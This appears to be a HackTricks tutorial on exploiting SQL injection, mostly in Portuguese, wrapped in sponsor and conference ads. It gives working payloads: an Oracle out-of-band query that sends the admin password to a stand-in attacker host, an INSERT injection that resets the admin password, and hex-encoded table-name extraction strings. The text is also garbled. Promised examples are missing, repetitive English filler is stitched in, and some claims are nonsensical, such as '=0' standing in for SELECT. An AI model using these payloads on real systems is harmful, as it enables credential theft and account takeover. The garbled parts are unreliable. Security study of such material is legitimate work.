* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
[**RootedCON**](https://www.rootedcon.com/) é o evento de segurança cibernética mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.
A injeção de SQL é uma vulnerabilidade de segurança na web que permite a um invasor **interferir** nas **consultas** que um aplicativo faz ao seu **banco de dados**. Geralmente, permite que um invasor **visualize dados** que normalmente não seria capaz de recuperar. Isso pode incluir dados pertencentes a **outros usuários**, ou qualquer outro dado que o **próprio aplicativo** seja capaz de **acessar**. Em muitos casos, um invasor pode **modificar** ou **excluir** esses dados, causando alterações persistentes no conteúdo ou comportamento do aplicativo.\
Em algumas situações, um invasor pode escalar um ataque de injeção de SQL para **comprometer o servidor subjacente** ou outra infraestrutura de back-end, ou realizar um ataque de negação de serviço. (De [aqui](https://portswigger.net/web-security/sql-injection)).
> Neste POST, vou supor que encontramos uma possível injeção de SQL e vamos discutir possíveis métodos para confirmar a injeção de SQL, reconhecer o banco de dados e realizar ações.
Você pode ter encontrado um site que é **aparentemente vulnerável à injeção de SQL** apenas porque o servidor está se comportando de forma estranha com entradas relacionadas à injeção de SQL. Portanto, a **primeira coisa** que você precisa fazer é descobrir como **injetar dados na consulta sem quebrá-la**. Para fazer isso, você primeiro precisa descobrir como **escapar do contexto atual**.\
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
Observe que se você puder ver mensagens de erro ou detectar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil.
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer com que o banco de dados execute ações que terão um **impacto no tempo** que a página precisa para carregar.\
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
Em alguns casos, as **funções de sleep não serão permitidas**. Nesses casos, em vez de usar essas funções, você pode fazer com que a consulta execute **operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver)_.
A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você pode usar as **funções de sleep** da seção anterior ou estas:
Se você puder ver a saída da consulta, esta é a melhor maneira de explorá-la.\
Em primeiro lugar, precisamos descobrir o **número** de **colunas** que a **consulta inicial** está retornando. Isso ocorre porque **ambas as consultas devem retornar o mesmo número de colunas**.\
Dois métodos são tipicamente usados para esse propósito:
Continue incrementando o número até obter uma resposta Falsa. Embora GROUP BY e ORDER BY tenham funcionalidades diferentes no SQL, ambos podem ser usados da mesma maneira para determinar o número de colunas na consulta.
_Você deve usar valores `null` em alguns casos, já que o tipo das colunas de ambos os lados da consulta devem ser iguais e `null` é válido em todos os casos._
Se você pode ver a saída da consulta, mas não pode alcançar uma injeção baseada em union, está lidando com uma injeção baseada em union oculta.\
Nessa situação, você acaba com uma injeção cega. Para transformar a injeção cega em uma baseada em union, você precisa extrair a consulta que está sendo executada no backend.\
Você pode fazer isso usando a injeção cega e as tabelas padrão do seu DBMS de destino. Para aprender sobre essas tabelas padrão, leia a documentação do seu DBMS de destino.\
Depois de extrair a consulta, você precisa ajustar sua carga útil adequadamente, fechando a consulta original com segurança. Em seguida, anexe uma consulta de união à sua carga útil e comece a explorar a injeção baseada em união recém-obtida.
Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrem** dados do banco de dados.\
Seguindo um fluxo semelhante à exploração baseada em Union, você pode conseguir despejar o banco de dados.
Neste caso, você não pode ver os resultados da consulta ou os erros, mas pode **distinguir** quando a consulta **retorna** uma resposta **verdadeira** ou **falsa** porque há conteúdos diferentes na página.\
Nesse caso, você pode abusar desse comportamento para despejar o banco de dados caractere por caractere:
Este é o **mesmo caso que antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode distinguir entre um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que adivinhar corretamente o caractere:
Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da consulta com base no contexto da página. Mas, você pode fazer a página **levar mais tempo para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica sendo usada antes para [confirmar uma vulnerabilidade de SQLi](./#confirming-with-timing).
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que enquanto as consultas subsequentes são executadas, os **resultados** não são **retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
Se **nenhum outro** método de exploração **funcionou**, você pode tentar fazer com que o **banco de dados exfiltre** as informações para um **host externo** controlado por você. Por exemplo, por meio de consultas DNS:
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais truques dependentes de tecnologia de banco de dados neste livro:
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Polyglot injection is a technique that allows an attacker to execute different types of SQL injection attacks in a single payload, depending on the context in which the payload is executed. This technique is useful when the attacker is unsure of the database management system being used or when the payload needs to bypass multiple security measures.
A polyglot injection payload is crafted in such a way that it is valid SQL syntax for multiple database management systems. For example, a payload can be crafted to be valid for both MySQL and Microsoft SQL Server. When the payload is executed, the database management system will interpret it as valid SQL syntax and execute the corresponding SQL injection attack.
Polyglot injection payloads can be created using techniques such as conditional statements, inline comments, and string concatenation. These techniques allow the payload to be valid SQL syntax for multiple database management systems.
It is important to note that polyglot injection payloads can be more complex and difficult to craft than traditional SQL injection payloads. However, they can be very effective in bypassing security measures and executing successful SQL injection attacks.
Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto principal"** (provavelmente **admin** no caso de usuários) modificando algo:
* Criar um usuário chamado: **AdMIn** (letras maiúsculas e minúsculas)
* Criar um usuário chamado: **admin=**
* **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com o nome: **admin \[muitos espaços] a**
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
O banco de dados irá **verificar** se o **nome de usuário****introduzido****existe** dentro do banco de dados. Se **não**, ele irá **cortar** o **nome de usuário** para o **número máximo permitido de caracteres** (neste caso para: "_admin \[25 espaços]_") e, em seguida, **removerá automaticamente todos os espaços no final atualizando** dentro do banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que isso não tenha funcionado).
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Observação: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem o espaço em branco no final por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro e a inserção falhará. Para obter mais informações sobre isso, verifique_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
A palavra-chave ON DUPLICATE KEY UPDATE é usada para informar ao MySQL o que fazer quando a aplicação tenta inserir uma linha que já existe na tabela. Podemos usar isso para alterar a senha do administrador por:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.
## Basic SQL Injection
### Identify the Injection Point
The first step in exploiting a SQL injection is to identify the injection point. This is the location in the web application's code where the user's input is included in an SQL statement.
### Determine the Number of Columns
Once you have identified an injection point, you can determine the number of columns in the query by using the `ORDER BY` clause.
### Determine the Type of Columns
After you have determined the number of columns in the query, you can determine the type of each column by using the `UNION SELECT` statement.
### Extract Data
Once you have determined the number and type of columns in the query, you can extract data from the database by using the `UNION SELECT` statement.
## Advanced SQL Injection
### Blind SQL Injection
Blind SQL injection is a technique that allows an attacker to retrieve information from a database without knowing the exact syntax of the SQL query.
Time-based blind SQL injection is a technique that allows an attacker to retrieve information from a database by sending a series of SQL queries that cause a time delay in the application's response.
Out-of-band SQL injection is a technique that allows an attacker to retrieve information from a database using a different channel than the web application.
## SQL Injection Prevention
### Prepared Statements
Prepared statements are a technique used to execute the same SQL statement repeatedly with high efficiency.
### Parameterized Queries
Parameterized queries are a technique used to execute the same SQL statement repeatedly with high efficiency, while allowing for user input.
### Input Validation
Input validation is a technique used to ensure that user input is within the expected range of values.
### Escaping
Escaping is a technique used to prevent SQL injection by escaping special characters in user input.
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
# Sem Espaços em Branco - bypass usando comentários
Às vezes, o filtro de entrada pode ser configurado para remover todos os espaços em branco da entrada. Isso pode ser um problema para injeções de SQL, pois a maioria das palavras-chave do SQL é separada por espaços em branco. No entanto, é possível contornar essa restrição usando comentários.
A sintaxe do comentário em SQL é `--`. Qualquer coisa após `--` será ignorada pelo interpretador SQL. Portanto, podemos usar comentários para separar palavras-chave do SQL que normalmente seriam separadas por espaços em branco.
Por exemplo, em vez de usar a seguinte consulta:
```
SELECT * FROM users WHERE username='admin' AND password='password'
```
Podemos usar a seguinte consulta sem espaços em branco:
Observe que usamos `/**/` para separar as palavras-chave do SQL. Isso é interpretado como um comentário pelo interpretador SQL e, portanto, é ignorado.
Em alguns casos, o filtro de entrada pode ser projetado para detectar a palavra-chave `OR` ou `AND` e, em seguida, bloquear a consulta. No entanto, é possível contornar essa restrição usando parênteses.
SELECT * FROM users WHERE username='' OR 1=1--' AND password=''
```
Observe que a consulta resultante é inválida devido à presença do caractere `'` no final da carga útil. No entanto, podemos contornar essa restrição usando parênteses:
# Blacklist usando palavras-chave insensíveis a maiúsculas e minúsculas - contornando usando um operador equivalente
Algumas aplicações usam listas negras (blacklists) para evitar ataques de injeção SQL. Essas listas negras geralmente contêm palavras-chave que são proibidas na entrada do usuário. No entanto, essas listas geralmente são case sensitive, o que significa que as palavras-chave proibidas só são eficazes se forem inseridas com a mesma capitalização que a lista negra.
Para contornar essa restrição, é possível usar um operador equivalente que produza o mesmo resultado que a palavra-chave proibida, mas que não esteja na lista negra. Por exemplo, se a palavra-chave "SELECT" estiver na lista negra, é possível usar o operador equivalente "=0" para produzir o mesmo resultado. A consulta seria algo como:
```
SELECT * FROM users WHERE username='admin' AND password=''=0;
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Você pode encontrar uma explicação mais detalhada sobre esse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
Em primeiro lugar, observe que se a **consulta original e a tabela da qual você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, portanto, em uma injeção de SQL, isso ficaria assim:
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
